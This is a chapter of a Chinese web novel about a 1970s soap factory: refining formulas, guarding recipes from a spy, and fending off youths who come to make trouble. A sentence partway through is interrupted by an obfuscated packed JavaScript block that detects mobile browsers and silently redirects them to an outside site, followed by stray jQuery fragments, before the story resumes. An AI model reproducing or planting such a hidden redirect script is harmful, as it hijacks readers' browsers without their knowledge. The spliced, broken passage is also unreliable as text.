谢颜玉又去找钟老了。
别看县香皂厂比红旗香皂厂大,但放之全国,依旧是小厂子。
小厂子是竞争不过大厂子的。
不变通,继续生产肥皂香皂,就算她接手,也只能维持香皂厂半死不活。
若如此,她接手,和付保国继续当厂长,有什么区别?
上边也会对她失望。
哦,还是有点区别的,付保国研发的香皂肥皂配方不行,继续这样下去,倒闭是迟早的事。
所以谢颜玉决定另辟蹊径,不与大厂争肥皂和香皂基本市场,推出自己特色香皂和肥皂,另开辟一条市场。
后世根据这个时代的香皂功能,细分为洗发水护发素,洗面奶;肥皂细分内..衣.清洗皂,洗衣皂等等,而每个大分类又因为功效或者主要成分不同,而有不同功能的洗发洗脸洗衣的东西。
这条路,在这个年代其实也是走得通的。
她的药皂,不就短时间内声名鹊起,甚至卖到了国外?
只要是好东西,就会有人识货,买账。
所以,谢颜玉又来找钟老要药方了。
钟老宫廷御医一脉,手里有不少养肤的好方子,至于去污清洁,钟老精通药理,也能给予一些指点。
如此,药园的重要性,反倒在茶园和养猪场之上。
谢颜玉决定时时提醒陆书记,对药园上心点。
事实上,不用谢颜玉提醒,陆书记就将药园的重要性拉到最高,药皂成为外销品,象征着国家脸面,它用的原材料都不能差,不然丢脸丢到国外,国家形象都得受到损伤。
依旧是偷偷摸摸又软磨硬泡,谢颜玉再次从钟老这边拿到两张经典护肤方。
县工厂那边有自动冷板车,不用陈化耽搁时间,皂好就能试用效果,大大缩短研发时间。
谢颜玉经过一周推敲,确定了最后的香皂配方和肥皂配方。
付保国接过方子,奇道,“加了椰子油?怎么不加猪油?”
“椰子油清爽,起泡能力也不错,还不与民争用食用油。”谢颜玉道,“先研发出小样试用。”
上午制皂,隔两三天就能用,谢颜玉用香皂洗手,泡沫有点粘,洗完后肌肤有紧绷感,“不行,香皂方子还得再调整。”
目前没有加药方,香皂基本的滋润度保持不了,加了药方也无用。
拿了一件有油渍的衣服,谢颜玉用手搓了搓,不能完全去除油印,但能洗得不仔细看,就看不出痕迹的地步。
勉强合格。
她点了点桌子,斟酌道:“油脚不脱胶,直接皂化,留下磷脂,皂化时搅拌速度降低,成皂后,盐析时饱和盐水量减少。”
滋润度靠甘油和磷脂,油胶脱胶和盐析过程会带走这些,可以试着保留一下。
“出锅浇板前,再往皂液里添加一部分油相。”
“好。”
又过了一周,新调整过工艺的肥皂和香皂新鲜出炉,谢颜玉请工厂的年轻姑娘过来试用,一块块试用过去,选出效果可以的。
又再次试用,最后挑出没那么干绷、去污能力也不错的那块肥皂,以及滋润度最好的那块香皂。
“这香皂和肥皂的配方,以及过程都记下了吧?”谢颜玉望向付保国。
“当然记下了,这点事我还不至于出错。”付保国硬邦邦地回。
“好,”谢颜玉拿出两张药方,“这是洗脸药皂的方子,一张控油祛痘,一张美白祛斑,所制皂液不经过盐析,最终皂液冷却后加入药液搅拌均匀,陈化一月后,再进行试用。”
付保国记下。
“肥皂和香皂按照这配方投入生产,药皂先生产小样,等一月后再看看效果。”
县工厂这边,谢颜玉全权放权给付副厂长,他在县香皂厂扎根多年,比她更了解也更适合管理。
她也不担心付保国做小动作,对县香皂厂,付保国只会比她更希望起死回生。
至于更下边人,有付保国盯着。
“你们之前生产的香皂和肥皂,都拨出去了吧?”谢颜玉问。
若新的香皂和肥皂生产出来,之前的香皂和肥皂只会更卖不出去。
“没有。”付保国嗡声地应。
那么多,又只县城这个市场,哪那么快足以消化?
“那新生产的香皂和肥皂,先别外拨。”谢颜玉开口,“等之前的货,都拨出去后再说。”
“对了,肥皂方子和香皂方子,你抄写一份出去,油脚处理,和盐析那部分,你让信得过的人去办,方子上这部分就别记下。”
“另外,药方你改几个药材,和香皂肥皂方子放在一起,药材的煎煮,你也让信得过的人去干。”
付保国听明白谢颜玉的意思,这是担心厂里有奸细。
他虽然觉得谢颜玉在杞人忧天,县香皂厂怎么会有特务?都是老香皂厂人了。
但他没有辩驳。
这种秘方,本来就需要保密。
一月后,付保国连被抽得啪啪响,还真有特务。
那特务不知道这是新出的药皂,还以为红旗香皂厂那边,将护发生发药皂交给付保国来干,千方百计偷走了方子。
偷方子的特务是生产组的某个组长,平时沉默寡言,专注干活,为人处事公正,在厂里颇有声望。
他是个潜伏多年的老特务,若非要偷生发护发药皂方子,还不知能潜伏多久。
付保国大受打击。
这个组长他一向看好,本来打算将美白祛斑药用香皂这条生产线交给他,毕竟他性子细致稳妥,事情交给他很放心。
“怎么会是他呢?”在特务被抓现场,付保国低声喃喃,“几十年的老香皂厂人了,香皂厂初建的时候他就在了,他怎么会是团特务?”
谢颜玉没多少想法。
她与这组长不熟,早听说这个年代特务猖狂,很有可能你碰见的和善大妈,老好人大叔就是个特务,目前一看,果然如此,她防一手,很有必要。
不过出了这事,谢颜玉再次确定,要提高护发和生发药皂的价格。
这次春交会谢颜玉没去,是沈言书去的。
一月后,沈言书带着一大沓订单回来,生发药皂和护发药皂卖得十分火爆,去年秋交会的老顾客,今年又过来了的,都选择了回订。
至于涨价,上边没有采纳,药皂才刚起步,以稳妥为主。
谢颜玉并不失望,这事她早知是这个结果,不过过几年就难说了。
趁着这波大势,她麻溜地去找大队长,准备将钟老等人调进香皂厂。
大队长听了谢颜玉的要求,意外。
抬眸望向谢颜玉,眸光锐利,“你确定?”
“确定。”
“颜玉啊,这些人不能折磨,但也不能亲近。”
附近几个村都沾着亲带着故,大队长也算是瞧着谢颜玉长大,忍不住多嘴,“城里闹得厉害,你要是这么做了,不怕闹到你香皂厂里?”
“他们不敢的。”
如果是去年秋交会,他们或许还敢闹一闹,毕竟药皂的前景如何,还看不分明,可能如国内一般大卖,亦有可能不适应国外,后续售卖一般,药皂最终昙花一现。
若是如此,上边不会力保香皂厂。
但春交会给出了反馈,不管是为着国家,还是为着自己,县里都会保证香皂厂的安全,谁敢闹事闹到香皂厂,谁就是给国家托后腿,不会轻饶。
这次春交会订单,比秋交会要厚不知多少,香皂厂的任务很是繁重。
大队长见谢颜玉心底有数,果断地开了条子,将钟老等人转移至香皂厂。
因为钟老等人是过来劳动改造的,明面待遇自然不能太好,一开始用来过度的平房,拨了一间给他们住,香皂厂内的卫生,也交给他们打扫。
每月会开一次思想会,由他们上台进行思想汇报。
当然这待遇,比待在谢家村还是好很多,至少这平房不四面漏风,不会干繁重的农活,天天吃不饱。
钟老摸着破旧的木床,感慨谢颜玉有心了,同时也觉得,自己那几张方子,没白给。
谢颜玉提走钟老等人一事,并未瞒着人,当然这事也瞒不过人,村里人问起这事,谢颜玉简单解释了一下,称药皂方子是由钟老等人研发出来的,将他们调入香皂厂,也是为了让他们研发更好的药皂产品。
他们调入香皂厂,也不是享福的,他们依旧会进行劳动改造和思想改造。
除了包吃住,他们也不会有工作。
还特意提及,香皂厂的厕所都是由他们打扫。
听到这批坏分子不会享受工人待遇,光干活没报酬,村里人舒服多了,也接收了这事。
沈言书瞧见钟老一行人,眸光动了动。
钟老等人能来香皂厂,她的父母和爷奶是不是也能来?
她意念刚动,便被谢颜玉劝住了,“还不到时候。”
沈言书吃惊。
她的心思这么浅显,颜玉一瞧就发现了?
她还以为自己已经坐到喜怒不形于色了呢。
她摸摸脸,不太意思地问:“这么明显吗?”
她还得练。
谢颜玉摇头,“不明显,只是很好猜。”
虽然沈言书没有提及自己的家庭,但看她的气质,就是一只误入鸡群的白天鹅,与整个农村格格不入,一看就知道家世良好。
这样的金凤凰,落入上桥村这个鸡窝窝,结合下这个时代的背景,发生了什么事不难猜。
再想想沈言书看到钟老等人,动心起念,估摸着她家还有人脉,能将她父母亲人调到这边来,之前没有调动,或许是有什么顾忌。
谢颜玉没猜错,沈言书父母确实有人脉,那些人脉没法将她父母从农场带出,但将她父母换个地方待着,没什么问题。
之前,那些叔伯考虑过将她父母送到红旗公社这边,不过碍于陆书记的侄儿已经娶了他,而作罢。
陆书记家里已经娶了他,要是她父母还在这边,难免会让盯着她父母的人觉得陆书记与不..良.分子有往来,思想有问题,如此反害了陆书记。
她家不能做这等恩将仇报的事。
不过,现在谢颜玉将钟老等人调过来,沈言书觉得时机成熟了。
香皂厂的药皂去年被选为秋交会展示商品,今年春交会更是订单爆火,上边必然关注香皂厂,力保香皂厂。
且,春交会刚结束,香皂厂所有工作,都会围绕着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232020|190438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国外订单展开,任何人任何事都不得妨碍香皂厂生产药皂。
这是最好的时机,上边不会允许任何人破坏或者拖香皂厂后腿。
无人敢来闹事。
时间长了,谁还会想着香皂厂收留有问题人员?
谢颜玉或许是考虑到这点,才果断将钟老等人调过来。
不过谢颜玉说时机未到,沈言书觉得谢颜玉或许有别的考量,她想了想,决定听从谢颜玉的话,暂时打消将她父母爷奶接过来的打算。
一个春日明媚的早晨,一行年轻的后生骑着自行车穿着军装绿气势汹汹来到香皂厂。
谢父从门卫屋里走出,拦住他们,“诶诶诶,干什么的?”
领头的后生板着脸,“我们收到举报,你们香皂厂厂长厚待坏分子,思想被□□腐蚀,要接受思想教育。”
说着,一把推开谢父,就要闯进去。
早在这群人过来时,保卫科的人就赶了过来,其中一人接住谢父要摔倒的身子,拦住领头的后生,跟着板着脸道:“你们要强闯香皂厂?我们怀疑你们是特务,过来偷窃香皂厂药皂药方,兄弟们,将他们拿下,送去公安局。”
“好咧。”保卫科的其他人高兴地应了一声,上前朝这群后生扑过去。
香皂厂这边一直很平安,没有谁敢过来偷东西,虽然有他们勤勤恳恳巡逻的缘故,更多的还是村民吃到了饼,有志一同地不允许任何人对香皂厂不利。
各村游手好闲的二流子都被村长警告过,他们在外怎么搞事他不管,但谁要是搞事搞到香皂厂这边,休怪他们手辣。
在这个村长管村民的年代,村长在村里还是很有威严的,村里二流子好奇地往香皂厂里张望过,但碍于村长的警告,以及保卫科的尽职,还真没几个胆大包天敢去香皂厂搞破坏。
保卫科的人,日日勤练,一直没有对象检测成果,早想抓几个闹事的杀鸡儆猴一番,也免得他们像白吃饭的。
这些小年轻,正好撞上枪口。
小年轻大声嚷嚷,喊口号,喊自己身份,又威胁保卫科,保卫科的人嘻嘻哈哈的不当回事。
他们都是村里人,村里人团结,在没犯事的情况下,村里都会护着。
谁敢来村里闹,谁讨不了好,这几个傻小子,估计是脑子有问题,才敢来乡下搞事。
管他们是被谁当了枪呢,全都捆住,捆住。
附近的村民听到风声动静,也跑了过来,知道这些小后生的目的,村里彪悍的大娘趁着还没送走,伸手去掐这些小年轻手臂腰间的肉,掐得他们嗷嗷叫。
她们是真恨这些小年轻啊,自从红旗药皂成为外销品,她们格外有面,去了县里,也走路带风,腰杆挺直,县里亲戚也敢给一个蔑视。
她们只要说一声自己是红旗公社的,附近公社,还有县里人,都会羡慕地望着她们,这种眼神,让人全身舒坦,好似三伏天喝了冰水。
红旗香皂厂如此给她们长脸,这群小年轻居然敢闹事,敢毁了她们的底气?
不可原谅。
被扭送进公安局,这些小年轻松了口气。
只要表明身份,他们就能放出去,出去后,红旗香皂厂的那些人,他们一个都不会放过,敢对他们出手,不整得他们家破人亡白,他们白活这么大。
然而,左等等不到人来接,右等等不到公安这边将他们放出去,还时不时拉到审讯室审问,他们被审过两次,蓦地悟了。
真将他们当特务查了。
这些小年轻怕了,不断哭求说自己不是特务,连同那些见不得人的心思都一一坦白,就怕自己说得不对,真被当特务整了。
他还是知道轻重的。
最后被关了半个月,才洗脱罪名放出去,放出去回单位,又被带他们的大哥一通骂,“你们胆子可以啊,红旗香皂厂也敢去闹,人药皂单子紧,外国友人都等着呢,你要是拖累了香皂厂生产进度,导致交货延期,或者质量下降,国家亏下的损失,你们谁承担得起?”
“一点眼力劲都没有,什么人该惹什么人不该惹,什么时候可以闹,什么时候不可以闹都不知道。”
“收拾收拾,回家去吧。”
他真的好气,一个没看住,这群人就创下这么大的祸,人家谢厂为啥敢将坏分子调进香皂厂?
人家有底气。
那红旗生发药皂卖到了国外,莫说县里,就是市里,也得保她。
这群年轻人灰头土脸地离开单位,被公安那边骇破了胆,安分了下来,到后边清算时没遭多少罪,倒也难说是祸是福。
也是有了这几个年轻人将全部情况和盘托出,公安这边顺藤摸瓜,倒真在那闹腾的单位抓了几个身居高位的大特务。
不到一定地位的不知道内情,只瞧见单位去红旗香皂厂闹上一腾,就有几个领导落马,更不敢去红旗香皂厂闹。
又过了一段时间,谢颜玉对沈言书道:“时机到了。”
钟老等人来了几个月,众人瞧见香皂厂对他们没有特殊照顾,对他们的存在开始接纳,又有年轻人闹腾一番,识趣的不会再有人过来闹腾,这个时候,沈言书再将她父母亲人接过来,正好。
村里人不会抗拒,至于上边博弈,也仅限于上边。